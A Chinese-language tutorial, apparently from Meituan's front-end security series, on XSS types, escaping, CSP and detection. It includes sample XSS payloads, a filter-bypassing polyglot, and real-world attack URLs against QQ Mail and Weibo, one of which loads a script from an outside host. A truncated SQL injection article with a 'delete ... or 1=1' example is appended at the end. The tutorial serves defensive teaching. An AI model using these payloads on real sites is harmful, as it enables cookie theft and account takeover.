整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          「基本功」前端安全系列之一:如何防止XSS攻擊?

          「基本功」前端安全系列之一:如何防止XSS攻擊?

          當當當,我是美團技術團隊的程序員鼓勵師美美~“基本功”專欄又來新文章了,這次是一個系列,一起來學習前端安全的那些事。我們將不斷梳理常見的前端安全問題以及對應的解決方案,希望可以幫助前端同學在日常開發中不斷預防和修復安全漏洞,Enjoy Reading!


          背景

          隨著互聯網的高速發展,信息安全問題已經成為企業最為關注的焦點之一,而前端又是引發企業安全問題的高危據點。在移動互聯網時代,前端人員除了傳統的 XSS、CSRF 等安全問題之外,又時常遭遇網絡劫持、非法調用 Hybrid API 等新型安全問題。當然,瀏覽器自身也在不斷在進化和發展,不斷引入 CSP、Same-Site Cookies 等新技術來增強安全性,但是仍存在很多潛在的威脅,這需要前端技術人員不斷進行“查漏補缺”。



          前端安全

          近幾年,美團業務高速發展,前端隨之面臨很多安全挑戰,因此積累了大量的實踐經驗。我們梳理了常見的前端安全問題以及對應的解決方案,將會做成一個系列,希望可以幫助前端同學在日常開發中不斷預防和修復安全漏洞。本文是該系列的第一篇。

          今天我們講解一下 XSS ,主要包括:

          1. XSS 攻擊的介紹
          2. XSS 攻擊的分類
          3. XSS 攻擊的預防和檢測
          4. XSS 攻擊的總結
          5. XSS 攻擊案例

          XSS攻擊的介紹

          在開始本文之前,我們先提出一個問題,請判斷以下兩個說法是否正確:

          1. XSS 防范是后端 RD (研發人員)的責任,后端 RD 應該在所有用戶提交數據的接口,對敏感字符進行轉義,才能進行下一步操作。
          2. 所有要插入到頁面上的數據,都要通過一個敏感字符過濾函數的轉義,過濾掉通用的敏感字符后,就可以插入到頁面中。

          如果你還不能確定答案,那么可以帶著這些問題向下看,我們將逐步拆解問題。

          XSS 漏洞的發生和修復

          XSS 攻擊是頁面被注入了惡意的代碼,為了更形象的介紹,我們用發生在小明同學身邊的事例來進行說明。

          一個案例

          某天,公司需要一個搜索頁面,根據 URL 參數決定關鍵詞的內容。小明很快把頁面寫好并且上線。代碼如下:

          <input type="text" value="<%=getParameter("keyword") %>">
          <button>搜索</button>
          <div>
           您搜索的關鍵詞是:<%=getParameter("keyword") %>
          </div>
          

          然而,在上線后不久,小明就接到了安全組發來的一個神秘鏈接:

          http://xxx/search?keyword="><script>alert('XSS');</script>

          小明帶著一種不祥的預感點開了這個鏈接[請勿模仿,確認安全的鏈接才能點開]。果然,頁面中彈出了寫著"XSS"的對話框。

          可惡,中招了!小明眉頭一皺,發現了其中的奧秘:

          當瀏覽器請求 http://xxx/search?keyword="><script>alert('XSS');</script> 時,服務端會解析出請求參數 keyword,得到 "><script>alert('XSS');</script>,拼接到 HTML 中返回給瀏覽器。形成了如下的 HTML:

          <input type="text" value=""><script>alert('XSS');</script>">
          <button>搜索</button>
          <div>
           您搜索的關鍵詞是:"><script>alert('XSS');</script>
          </div>
          

          瀏覽器無法分辨出 <script>alert('XSS');</script> 是惡意代碼,因而將其執行。

          這里不僅僅 div 的內容被注入了,而且 input 的 value 屬性也被注入, alert 會彈出兩次。

          面對這種情況,我們應該如何進行防范呢?

          其實,這只是瀏覽器把用戶的輸入當成了腳本進行了執行。那么只要告訴瀏覽器這段內容是文本就可以了。

          聰明的小明很快找到解決方法,把這個漏洞修復:

          <input type="text" value="<%=escapeHTML(getParameter("keyword")) %>">
          <button>搜索</button>
          <div>
           您搜索的關鍵詞是:<%=escapeHTML(getParameter("keyword")) %>
          </div>
          

          escapeHTML() 按照如下規則進行轉義:



          經過了轉義函數的處理后,最終瀏覽器接收到的響應為:

          <input type="text" value=""><script>alert('XSS');</script>">
          <button>搜索</button>
          <div>
           您搜索的關鍵詞是:"><script>alert('XSS');</script>
          </div>
          

          惡意代碼都被轉義,不再被瀏覽器執行,而且搜索詞能夠完美的在頁面顯示出來。

          通過這個事件,小明學習到了如下知識:

          • 通常頁面中包含的用戶輸入內容都在固定的容器或者屬性內,以文本的形式展示。
          • 攻擊者利用這些頁面的用戶輸入片段,拼接特殊格式的字符串,突破原有位置的限制,形成了代碼片段。
          • 攻擊者通過在目標網站上注入腳本,使之在用戶的瀏覽器上運行,從而引發潛在風險。
          • 通過 HTML 轉義,可以防止 XSS 攻擊。[事情當然沒有這么簡單啦!請繼續往下看]。

          注意特殊的 HTML 屬性、JavaScript API

          自從上次事件之后,小明會小心的把插入到頁面中的數據進行轉義。而且他還發現了大部分模板都帶有的轉義配置,讓所有插入到頁面中的數據都默認進行轉義。這樣就不怕不小心漏掉未轉義的變量啦,于是小明的工作又漸漸變得輕松起來。

          但是,作為導演的我,不可能讓小明這么簡單、開心地改 Bug 。

          不久,小明又收到安全組的神秘鏈接:http://xxx/?redirect_to=javascript:alert('XSS')。小明不敢大意,趕忙點開頁面。然而,頁面并沒有自動彈出萬惡的“XSS”。

          小明打開對應頁面的源碼,發現有以下內容:

          <a href="<%=escapeHTML(getParameter("redirect_to")) %>">跳轉...</a>
          

          這段代碼,當攻擊 URL 為 http://xxx/?redirect_to=javascript:alert('XSS'),服務端響應就成了:

          <a href="javascript:alert('XSS')">跳轉...</a>
          

          雖然代碼不會立即執行,但一旦用戶點擊 a 標簽時,瀏覽器會就會彈出alert('xss')。

          可惡,又失策了…

          在這里,用戶的數據并沒有在位置上突破我們的限制,仍然是正確的 href 屬性。但其內容并不是我們所預期的類型。

          原來不僅僅是特殊字符,連 javascript: 這樣的字符串如果出現在特定的位置也會引發 XSS 攻擊。

          小明眉頭一皺,想到了解決辦法:

          // 禁止 URL 以 "javascript:" 開頭
          xss=getParameter("redirect_to").startsWith('javascript:');
          if (!xss) {
           <a href="<%=escapeHTML(getParameter("redirect_to"))%>">
           跳轉...
           </a>
          } else {
           <a href="/404">
           跳轉...
           </a>
          }
          

          只要 URL 的開頭不是 javascript:,就安全了吧?

          安全組隨手又扔了一個連接:http://xxx/?redirect_to=jAvascRipt:alert('XSS')

          這也能執行?…..好吧,瀏覽器就是這么強大。

          小明欲哭無淚,在判斷 URL 開頭是否為 javascript: 時,先把用戶輸入轉成了小寫,然后再進行比對。

          不過,所謂“道高一尺,魔高一丈”。面對小明的防護策略,安全組就構造了這樣一個連接:

          http://xxx/?redirect_to=%20javascript:alert('XSS')

          %20javascript:alert('XSS') 經過 URL 解析后變成 javascript:alert('XSS'),這個字符串以空格開頭。這樣攻擊者可以繞過后端的關鍵詞規則,又成功的完成了注入。

          最終,小明選擇了白名單的方法,徹底解決了這個漏洞:

          // 根據項目情況進行過濾,禁止掉 "javascript:" 鏈接、非法 scheme 等
          allowSchemes=["http", "https"];
          valid=isValid(getParameter("redirect_to"), allowSchemes);
          if (valid) {
           <a href="<%=escapeHTML(getParameter("redirect_to"))%>">
           跳轉...
           </a>
          } else {
           <a href="/404">
           跳轉...
           </a>
          }
          

          通過這個事件,小明學習到了如下知識:

          • 做了 HTML 轉義,并不等于高枕無憂。
          • 對于鏈接跳轉,如 <a href="xxx" 或 location.href="xxx",要檢驗其內容,禁止以 javascript: 開頭的鏈接,和其他非法的 scheme。

          根據上下文采用不同的轉義規則

          某天,小明為了加快網頁的加載速度,把一個數據通過 JSON 的方式內聯到 HTML 中:

          <script>
          var initData=<%=data.toJSON() %>
          </script>
          

          插入 JSON 的地方不能使用 escapeHTML(),因為轉義 " 后,JSON 格式會被破壞。

          但安全組又發現有漏洞,原來這樣內聯 JSON 也是不安全的:

          • 當 JSON 中包含 U+2028 或 U+2029 這兩個字符時,不能作為 JavaScript 的字面量使用,否則會拋出語法錯誤。
          • 當 JSON 中包含字符串<script>時,當前的 script 標簽將會被閉合,后面的字符串內容瀏覽器會按照 HTML 進行解析;通過增加下一個 <script> 標簽等方法就可以完成注入。

          于是我們又要實現一個 escapeEmbedJSON() 函數,對內聯 JSON 進行轉義。轉義規則如下:



          修復后的代碼如下:

          <script>
          var initData=<%=escapeEmbedJSON(data.toJSON()) %>
          

          通過這個事件,小明學習到了如下知識:

          • HTML 轉義是非常復雜的,在不同的情況下要采用不同的轉義規則。如果采用了錯誤的轉義規則,很有可能會埋下 XSS 隱患。
          • 應當盡量避免自己寫轉義庫,而應當采用成熟的、業界通用的轉義庫。


          漏洞總結

          小明的例子講完了,下面我們來系統的看下 XSS 有哪些注入的方法:

          • 在 HTML 中內嵌的文本中,惡意內容以 script 標簽形成注入。
          • 在內聯的 JavaScript 中,拼接的數據突破了原本的限制(字符串,變量,方法名等)。
          • 在標簽屬性中,惡意內容包含引號,從而突破屬性值的限制,注入其他屬性或者標簽。
          • 在標簽的 href、src 等屬性中,包含 javascript: 等可執行代碼。
          • 在 onload、onerror、onclick 等事件中,注入不受控制代碼。
          • 在 style 屬性和標簽中,包含類似 background-image:url("javascript:..."); 的代碼(新版本瀏覽器已經可以防范)。
          • 在 style 屬性和標簽中,包含類似 expression(...) 的 CSS 表達式代碼(新版本瀏覽器已經可以防范)。

          總之,如果開發者沒有將用戶輸入的文本進行合適的過濾,就貿然插入到 HTML 中,這很容易造成注入漏洞。攻擊者可以利用漏洞,構造出惡意的代碼指令,進而利用惡意代碼危害數據安全。

          XSS攻擊的分類

          通過上述幾個例子,我們已經對 XSS 有了一些認識。

          什么是 XSS

          Cross-Site Scripting(跨站腳本攻擊)簡稱 XSS,是一種代碼注入攻擊。攻擊者通過在目標網站上注入惡意腳本,使之在用戶的瀏覽器上運行。利用這些惡意腳本,攻擊者可獲取用戶的敏感信息如 Cookie、SessionID 等,進而危害數據安全。

          為了和 CSS 區分,這里把攻擊的第一個字母改成了 X,于是叫做 XSS。

          XSS 的本質是:惡意代碼未經過濾,與網站正常的代碼混在一起;瀏覽器無法分辨哪些腳本是可信的,導致惡意腳本被執行。

          而由于直接在用戶的終端執行,惡意代碼能夠直接獲取用戶的信息,或者利用這些信息冒充用戶向網站發起攻擊者定義的請求。

          在部分情況下,由于輸入的限制,注入的惡意腳本比較短。但可以通過引入外部的腳本,并由瀏覽器執行,來完成比較復雜的攻擊策略。

          這里有一個問題:用戶是通過哪種方法“注入”惡意腳本的呢?

          不僅僅是業務上的“用戶的 UGC 內容”可以進行注入,包括 URL 上的參數等都可以是攻擊的來源。在處理輸入時,以下內容都不可信:

          • 來自用戶的 UGC 信息
          • 來自第三方的鏈接
          • URL 參數
          • POST 參數
          • Referer (可能來自不可信的來源)
          • Cookie (可能來自其他子域注入)

          XSS 分類

          根據攻擊的來源,XSS 攻擊可分為存儲型、反射型和 DOM 型三種。



          • 存儲區:惡意代碼存放的位置。
          • 插入點:由誰取得惡意代碼,并插入到網頁上。


          存儲型 XSS

          存儲型 XSS 的攻擊步驟:

          1. 攻擊者將惡意代碼提交到目標網站的數據庫中。
          2. 用戶打開目標網站時,網站服務端將惡意代碼從數據庫取出,拼接在 HTML 中返回給瀏覽器。
          3. 用戶瀏覽器接收到響應后解析執行,混在其中的惡意代碼也被執行。
          4. 在部分情況下,惡意代碼加載外部的代碼,用于執行更復雜的邏輯。
          5. 惡意代碼竊取用戶數據并發送到攻擊者的網站,或者冒充用戶的行為,調用目標網站接口執行攻擊者指定的操作。

          這種攻擊常見于帶有用戶保存數據的網站功能,如論壇發帖、商品評論、用戶私信等。

          反射型 XSS

          反射型 XSS 的攻擊步驟:

          1. 攻擊者構造出特殊的 URL,其中包含惡意代碼。
          2. 用戶打開帶有惡意代碼的 URL 時,網站服務端將惡意代碼從 URL 中取出,拼接在 HTML 中返回給瀏覽器。
          3. 用戶瀏覽器接收到響應后解析執行,混在其中的惡意代碼也被執行。
          4. 在部分情況下,惡意代碼加載外部的代碼,用于執行更復雜的邏輯
          5. 惡意代碼竊取用戶數據并發送到攻擊者的網站,或者冒充用戶的行為,調用目標網站接口執行攻擊者指定的操作。

          反射型 XSS 跟存儲型 XSS 的區別是:存儲型 XSS 的惡意代碼存在數據庫里,反射型 XSS 的惡意代碼存在 URL 里。

          反射型 XSS 漏洞常見于通過 URL 傳遞參數的功能,如網站搜索、跳轉等。

          由于需要用戶主動打開惡意的 URL 才能生效,攻擊者往往會結合多種手段誘導用戶點擊。

          POST 的內容也可以觸發反射型 XSS,只不過其觸發條件比較苛刻(需要構造表單提交頁面,并引導用戶點擊),所以非常少見。

          DOM 型 XSS

          DOM 型 XSS 的攻擊步驟:

          1. 攻擊者構造出特殊的 URL,其中包含惡意代碼。
          2. 用戶打開帶有惡意代碼的 URL。
          3. 用戶瀏覽器接收到響應后解析執行,前端 JavaScript 取出 URL 中的惡意代碼并執行。
          4. 在部分情況下,惡意代碼加載外部的代碼,用于執行更復雜的邏輯。
          5. 惡意代碼竊取用戶數據并發送到攻擊者的網站,或者冒充用戶的行為,調用目標網站接口執行攻擊者指定的操作。

          DOM 型 XSS 跟前兩種 XSS 的區別:DOM 型 XSS 攻擊中,取出和執行惡意代碼由瀏覽器端完成,屬于前端 JavaScript 自身的安全漏洞,而其他兩種 XSS 都屬于服務端的安全漏洞。

          XSS攻擊的預防

          通過前面的介紹可以得知,XSS 攻擊有兩大要素:

          1. 攻擊者提交惡意代碼。
          2. 瀏覽器執行惡意代碼。

          針對第一個要素:我們是否能夠在用戶輸入的過程,過濾掉用戶輸入的惡意代碼呢?

          輸入過濾

          在用戶提交時,由前端過濾輸入,然后提交到后端。這樣做是否可行呢?

          答案是不可行。一旦攻擊者繞過前端過濾,直接構造請求,就可以提交惡意代碼了。

          那么,換一個過濾時機:后端在寫入數據庫前,對輸入進行過濾,然后把“安全的”內容,返回給前端。這樣是否可行呢?

          我們舉一個例子,一個正常的用戶輸入了 5 < 7 這個內容,在寫入數據庫前,被轉義,變成了 5 < 7。

          問題是:在提交階段,我們并不確定內容要輸出到哪里。

          這里的“并不確定內容要輸出到哪里”有兩層含義:

          1. 用戶的輸入內容可能同時提供給前端和客戶端,而一旦經過了 escapeHTML(),客戶端顯示的內容就變成了亂碼( 5 < 7 )。
          2. 在前端中,不同的位置所需的編碼也不同。
          • 當 5 < 7 作為 HTML 拼接頁面時,可以正常顯示:
          • <div title="comment">5 < 7</div>
          • 當 5 < 7 通過 Ajax 返回,然后賦值給 JavaScript 的變量時,前端得到的字符串就是轉義后的字符。這個內容不能直接用于 Vue 等模板的展示,也不能直接用于內容長度計算。不能用于標題、alert 等。

          所以,輸入側過濾能夠在某些情況下解決特定的 XSS 問題,但會引入很大的不確定性和亂碼問題。在防范 XSS 攻擊時應避免此類方法。

          當然,對于明確的輸入類型,例如數字、URL、電話號碼、郵件地址等等內容,進行輸入過濾還是必要的。

          既然輸入過濾并非完全可靠,我們就要通過“防止瀏覽器執行惡意代碼”來防范 XSS。這部分分為兩類:

          • 防止 HTML 中出現注入。
          • 防止 JavaScript 執行時,執行惡意代碼。


          預防存儲型和反射型 XSS 攻擊

          存儲型和反射型 XSS 都是在服務端取出惡意代碼后,插入到響應 HTML 里的,攻擊者刻意編寫的“數據”被內嵌到“代碼”中,被瀏覽器所執行。

          預防這兩種漏洞,有兩種常見做法:

          • 改成純前端渲染,把代碼和數據分隔開。
          • 對 HTML 做充分轉義。

          純前端渲染

          純前端渲染的過程:

          1. 瀏覽器先加載一個靜態 HTML,此 HTML 中不包含任何跟業務相關的數據。
          2. 然后瀏覽器執行 HTML 中的 JavaScript。
          3. JavaScript 通過 Ajax 加載業務數據,調用 DOM API 更新到頁面上。

          在純前端渲染中,我們會明確的告訴瀏覽器:下面要設置的內容是文本(.innerText),還是屬性(.setAttribute),還是樣式(.style)等等。瀏覽器不會被輕易的被欺騙,執行預期外的代碼了。

          但純前端渲染還需注意避免 DOM 型 XSS 漏洞(例如 onload 事件和 href 中的 javascript:xxx 等,請參考下文”預防 DOM 型 XSS 攻擊“部分)。

          在很多內部、管理系統中,采用純前端渲染是非常合適的。但對于性能要求高,或有 SEO 需求的頁面,我們仍然要面對拼接 HTML 的問題。

          轉義 HTML

          如果拼接 HTML 是必要的,就需要采用合適的轉義庫,對 HTML 模板各處插入點進行充分的轉義。

          常用的模板引擎,如 doT.js、ejs、FreeMarker 等,對于 HTML 轉義通常只有一個規則,就是把 & < > " ' / 這幾個字符轉義掉,確實能起到一定的 XSS 防護作用,但并不完善:



          所以要完善 XSS 防護措施,我們要使用更完善更細致的轉義策略。

          例如 Java 工程里,常用的轉義庫為 org.owasp.encoder。以下代碼引用自 org.owasp.encoder 的官方說明。

          <!-- HTML 標簽內文字內容 -->
          <div><%=Encode.forHtml(UNTRUSTED) %></div>
          <!-- HTML 標簽屬性值 -->
          <input value="<%=Encode.forHtml(UNTRUSTED) %>" />
          <!-- CSS 屬性值 -->
          <div style="width:<=Encode.forCssString(UNTRUSTED) %>">
          <!-- CSS URL -->
          <div style="background:<=Encode.forCssUrl(UNTRUSTED) %>">
          <!-- JavaScript 內聯代碼塊 -->
          <script>
           var msg="<%=Encode.forJavaScript(UNTRUSTED) %>";
           alert(msg);
          </script>
          <!-- JavaScript 內聯代碼塊內嵌 JSON -->
          <script>
          var __INITIAL_STATE__=JSON.parse('<%=Encoder.forJavaScript(data.to_json) %>');
          </script>
          <!-- HTML 標簽內聯監聽器 -->
          <button
           onclick="alert('<%=Encode.forJavaScript(UNTRUSTED) %>');">
           click me
          </button>
          <!-- URL 參數 -->
          <a href="/search?value=<%=Encode.forUriComponent(UNTRUSTED) %>&order=1#top">
          <!-- URL 路徑 -->
          <a href="/page/<%=Encode.forUriComponent(UNTRUSTED) %>">
          <!--
           URL.
           注意:要根據項目情況進行過濾,禁止掉 "javascript:" 鏈接、非法 scheme 等
          -->
          <a href='<%=urlValidator.isValid(UNTRUSTED) ?
           Encode.forHtml(UNTRUSTED) :
           "/404"
          %>'>
           link
          </a>
          

          可見,HTML 的編碼是十分復雜的,在不同的上下文里要使用相應的轉義規則。

          預防 DOM 型 XSS 攻擊

          DOM 型 XSS 攻擊,實際上就是網站前端 JavaScript 代碼本身不夠嚴謹,把不可信的數據當作代碼執行了。

          在使用 .innerHTML、.outerHTML、document.write() 時要特別小心,不要把不可信的數據作為 HTML 插到頁面上,而應盡量使用 .textContent、.setAttribute() 等。

          如果用 Vue/React 技術棧,并且不使用 v-html/dangerouslySetInnerHTML 功能,就在前端 render 階段避免 innerHTML、outerHTML 的 XSS 隱患。

          DOM 中的內聯事件監聽器,如 location、onclick、onerror、onload、onmouseover 等,<a> 標簽的 href 屬性,JavaScript 的 eval()、setTimeout()、setInterval() 等,都能把字符串作為代碼運行。如果不可信的數據拼接到字符串中傳遞給這些 API,很容易產生安全隱患,請務必避免。

          <!-- 內聯事件監聽器中包含惡意代碼 -->
          <img onclick="UNTRUSTED" onerror="UNTRUSTED" src="data:image/png,">
          <!-- 鏈接內包含惡意代碼 -->
          <a href="UNTRUSTED">1</a>
          <script>
          // setTimeout()/setInterval() 中調用惡意代碼
          setTimeout("UNTRUSTED")
          setInterval("UNTRUSTED")
          // location 調用惡意代碼
          location.href='UNTRUSTED'
          // eval() 中調用惡意代碼
          eval("UNTRUSTED")
          </script>
          

          如果項目中有用到這些的話,一定要避免在字符串中拼接不可信數據。

          其他XSS防范措施

          雖然在渲染頁面和執行 JavaScript 時,通過謹慎的轉義可以防止 XSS 的發生,但完全依靠開發的謹慎仍然是不夠的。以下介紹一些通用的方案,可以降低 XSS 帶來的風險和后果。

          Content Security Policy

          嚴格的 CSP 在 XSS 的防范中可以起到以下的作用:

          • 禁止加載外域代碼,防止復雜的攻擊邏輯。
          • 禁止外域提交,網站被攻擊后,用戶的數據不會泄露到外域。
          • 禁止內聯腳本執行(規則較嚴格,目前發現 github 使用)。
          • 禁止未授權的腳本執行(新特性,Google Map 移動版在使用)。
          • 合理使用上報可以及時發現 XSS,利于盡快修復問題。

          關于 CSP 的詳情,請關注前端安全系列后續的文章。

          輸入內容長度控制

          對于不受信任的輸入,都應該限定一個合理的長度。雖然無法完全防止 XSS 發生,但可以增加 XSS 攻擊的難度。

          其他安全措施

          • HTTP-only Cookie: 禁止 JavaScript 讀取某些敏感 Cookie,攻擊者完成 XSS 注入后也無法竊取此 Cookie。
          • 驗證碼:防止腳本冒充用戶提交危險操作。


          XSS的檢測

          上述經歷讓小明收獲頗豐,他也學會了如何去預防和修復 XSS 漏洞,在日常開發中也具備了相關的安全意識。但對于已經上線的代碼,如何去檢測其中有沒有 XSS 漏洞呢?

          經過一番搜索,小明找到了兩個方法:

          1. 使用通用 XSS 攻擊字符串手動檢測 XSS 漏洞。
          2. 使用掃描工具自動檢測 XSS 漏洞。

          在Unleashing an Ultimate XSS Polyglot一文中,小明發現了這么一個字符串:

          jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
          


          它能夠檢測到存在于 HTML 屬性、HTML 文字內容、HTML 注釋、跳轉鏈接、內聯 JavaScript 字符串、內聯 CSS 樣式表等多種上下文中的 XSS 漏洞,也能檢測 eval()、setTimeout()、setInterval()、Function()、innerHTML、document.write() 等 DOM 型 XSS 漏洞,并且能繞過一些 XSS 過濾器。

          小明只要在網站的各輸入框中提交這個字符串,或者把它拼接到 URL 參數上,就可以進行檢測了。

          http://xxx/search?keyword=jaVasCript%3A%2F*-%2F*%60%2F*%60%2F*%27%2F*%22%2F**%2F(%2F*%20*%2FoNcliCk%3Dalert()%20)%2F%2F%250D%250A%250d%250a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--!%3E%3CsVg%2F%3CsVg%2FoNloAd%3Dalert()%2F%2F%3E%3E
          


          除了手動檢測之外,還可以使用自動掃描工具尋找 XSS 漏洞,例如 Arachni、Mozilla HTTP Observatory、w3af 等。

          XSS攻擊的總結

          我們回到最開始提出的問題,相信同學們已經有了答案:

          1. XSS 防范是后端 RD 的責任,后端 RD 應該在所有用戶提交數據的接口,對敏感字符進行轉義,才能進行下一步操作。

          不正確。因為:防范存儲型和反射型 XSS 是后端 RD 的責任。而 DOM 型 XSS 攻擊不發生在后端,是前端 RD 的責任。防范 XSS 是需要后端 RD 和前端 RD 共同參與的系統工程。轉義應該在輸出 HTML 時進行,而不是在提交用戶輸入時。

          2. 所有要插入到頁面上的數據,都要通過一個敏感字符過濾函數的轉義,過濾掉通用的敏感字符后,就可以插入到頁面了。

          不正確。不同的上下文,如 HTML 屬性、HTML 文字內容、HTML 注釋、跳轉鏈接、內聯 JavaScript 字符串、內聯 CSS 樣式表等,所需要的轉義規則不一致。業務 RD 需要選取合適的轉義庫,并針對不同的上下文調用不同的轉義規則。

          整體的 XSS 防范是非常復雜和繁瑣的,我們不僅需要在全部需要轉義的位置,對數據進行對應的轉義。而且要防止多余和錯誤的轉義,避免正常的用戶輸入出現亂碼。

          雖然很難通過技術手段完全避免 XSS,但我們可以總結以下原則減少漏洞的產生:

          • 利用模板引擎
          • 開啟模板引擎自帶的 HTML 轉義功能。例如:
          • 在 ejs 中,盡量使用 <%=data %> 而不是 <%- data %>;
          • 在 doT.js 中,盡量使用 {{! data } 而不是 {{=data };
          • 在 FreeMarker 中,確保引擎版本高于 2.3.24,并且選擇正確的 freemarker.core.OutputFormat。
          • 避免內聯事件
          • 盡量不要使用 onLoad="onload('{{data}}')"、onClick="go('{{action}}')" 這種拼接內聯事件的寫法。在 JavaScript 中通過 .addEventlistener() 事件綁定會更安全。
          • 避免拼接 HTML
          • 前端采用拼接 HTML 的方法比較危險,如果框架允許,使用 createElement、setAttribute 之類的方法實現。或者采用比較成熟的渲染框架,如 Vue/React 等。
          • 時刻保持警惕
          • 在插入位置為 DOM 屬性、鏈接等位置時,要打起精神,嚴加防范。
          • 增加攻擊難度,降低攻擊后果
          • 通過 CSP、輸入長度配置、接口安全措施等方法,增加攻擊的難度,降低攻擊的后果。
          • 主動檢測和發現
          • 可使用 XSS 攻擊字符串和自動掃描工具尋找潛在的 XSS 漏洞。


          XSS攻擊案例

          QQ 郵箱 m.exmail.qq.com 域名反射型 XSS 漏洞

          攻擊者發現 http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb 這個 URL 的參數 uin、domain 未經轉義直接輸出到 HTML 中。

          于是攻擊者構建出一個 URL,并引導用戶去點擊:

          http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B

          用戶點擊這個 URL 時,服務端取出 URL 參數,拼接到 HTML 響應中:

          <script>
          getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa"+"&t="+"&d=bbbb";return false;</script><script>alert(document.cookie)</script>"+"...
          

          瀏覽器接收到響應后就會執行 alert(document.cookie),攻擊者通過 JavaScript 即可竊取當前用戶在 QQ 郵箱域名下的 Cookie ,進而危害數據安全。

          新浪微博名人堂反射型 XSS 漏洞

          攻擊者發現 http://weibo.com/pub/star/g/xyyyd 這個 URL 的內容未經過濾直接輸出到 HTML 中。

          于是攻擊者構建出一個 URL,然后誘導用戶去點擊:

          http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>

          用戶點擊這個 URL 時,服務端取出請求 URL,拼接到 HTML 響應中:

          <li><a ><script src=//xxxx.cn/image/t.js></script>">按分類檢索</a></li>
          


          瀏覽器接收到響應后就會加載執行惡意腳本 //xxxx.cn/image/t.js,在惡意腳本中利用用戶的登錄狀態進行關注、發微博、發私信等操作,發出的微博和私信可再帶上攻擊 URL,誘導更多人點擊,不斷放大攻擊范圍。這種竊用受害者身份發布惡意內容,層層放大攻擊范圍的方式,被稱為“XSS 蠕蟲”。

          XSS攻擊擴展閱讀:Automatic Context-Aware Escaping

          上文我們說到:

          1. 合適的 HTML 轉義可以有效避免 XSS 漏洞。
          2. 完善的轉義庫需要針對上下文制定多種規則,例如 HTML 屬性、HTML 文字內容、HTML 注釋、跳轉鏈接、內聯 JavaScript 字符串、內聯 CSS 樣式表等等。
          3. 業務 RD 需要根據每個插入點所處的上下文,選取不同的轉義規則。

          通常,轉義庫是不能判斷插入點上下文的(Not Context-Aware),實施轉義規則的責任就落到了業務 RD 身上,需要每個業務 RD 都充分理解 XSS 的各種情況,并且需要保證每一個插入點使用了正確的轉義規則。

          這種機制工作量大,全靠人工保證,很容易造成 XSS 漏洞,安全人員也很難發現隱患。

          2009年,Google 提出了一個概念叫做:Automatic Context-Aware Escaping。

          所謂 Context-Aware,就是說模板引擎在解析模板字符串的時候,就解析模板語法,分析出每個插入點所處的上下文,據此自動選用不同的轉義規則。這樣就減輕了業務 RD 的工作負擔,也減少了人為帶來的疏漏。

          在一個支持 Automatic Context-Aware Escaping 的模板引擎里,業務 RD 可以這樣定義模板,而無需手動實施轉義規則:

          <html>
           <head>
           <meta charset="UTF-8">
           <title>{{.title}}</title>
           </head>
           <body>
           <a href="{{.url}}">{{.content}}</a>
           </body>
          </html>
          

          模板引擎經過解析后,得知三個插入點所處的上下文,自動選用相應的轉義規則:

          <html>
           <head>
           <meta charset="UTF-8">
           <title>{{.title | htmlescaper}}</title>
           </head>
           <body>
           <a href="{{.url | urlescaper | attrescaper}}">{{.content | htmlescaper}}</a>
           </body>
          </html>
          

          目前已經支持 Automatic Context-Aware Escaping 的模板引擎有:

          • go html/template
          • Google Closure Templates


          課后作業:XSS攻擊小游戲

          以下是幾個 XSS 攻擊小游戲,開發者在網站上故意留下了一些常見的 XSS 漏洞。玩家在網頁上提交相應的輸入,完成 XSS 攻擊即可通關。

          在玩游戲的過程中,請各位讀者仔細思考和回顧本文內容,加深對 XSS 攻擊的理解。

          alert(1) to win

          prompt(1) to win

          XSS game

          參考文獻

          • Wikipedia. Cross-site scripting, Wikipedia.
          • OWASP. XSS (Cross Site Scripting) Prevention Cheat Sheet_Prevention_Cheat_Sheet), OWASP.
          • OWASP. Use the OWASP Java Encoder-Use-the-OWASP-Java-Encoder), GitHub.
          • Ahmed Elsobky. Unleashing an Ultimate XSS Polyglot, GitHub.
          • Jad S. Boutros. Reducing XSS by way of Automatic Context-Aware Escaping in Template Systems, Google Security Blog.
          • Vue.js. v-html - Vue API docs, Vue.js.
          • React. dangerouslySetInnerHTML - DOM Elements, React.


          下期預告

          前端安全系列文章將對 XSS、CSRF、網絡劫持、Hybrid 安全等安全議題展開論述。下期我們要討論的是 CSRF 攻擊,敬請期待。

          作者介紹

          李陽,美團點評前端工程師。2016年加入美團點評,負責美團外賣 Hybrid 頁面性能優化相關工作。

          歡迎加入美團前端安全技術交流群,跟作者零距離交流。請加美美同學的微信(微信號:MTDPtech01),回復:前端安全,美美會自動拉你進群。

          • 、什么是SQL注入?
          • 二、Java項目防止SQL注入方式
            • 1、PreparedStatement防止SQL注入
            • 2、mybatis中#{}防止SQL注入
            • 3、對請求參數的敏感詞匯進行過濾
            • 4、nginx反向代理防止SQL注入

          一、什么是SQL注入?

          SQL注入即是指web應用程序對用戶輸入數據的合法性沒有判斷或過濾不嚴,攻擊者可以在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,在管理員不知情的情況下實現非法操作,以此來實現欺騙數據庫服務器執行非授權的任意查詢,從而進一步得到相應的數據信息。

          SQL案列

          String sql="delete from table1 where id=" + "id";
          

          這個id從請求參數中獲取,若參數被拼接為:

          ?

          1001 or 1=1

          ?

          最執行語句變為:

          String sql="delete from table1 where id=1001 or 1=1";
          

          此時,數據庫的數據都會被清空掉,后果非常嚴重

          二、Java項目防止SQL注入方式

          這里總結4種:

          • PreparedStatement防止SQL注入
          • mybatis中#{}防止SQL注入
          • 對請求參數的敏感詞匯進行過濾
          • nginx反向代理防止SQL注入

          1、PreparedStatement防止SQL注入

          PreparedStatement具有預編譯功能,以上述SQL為例

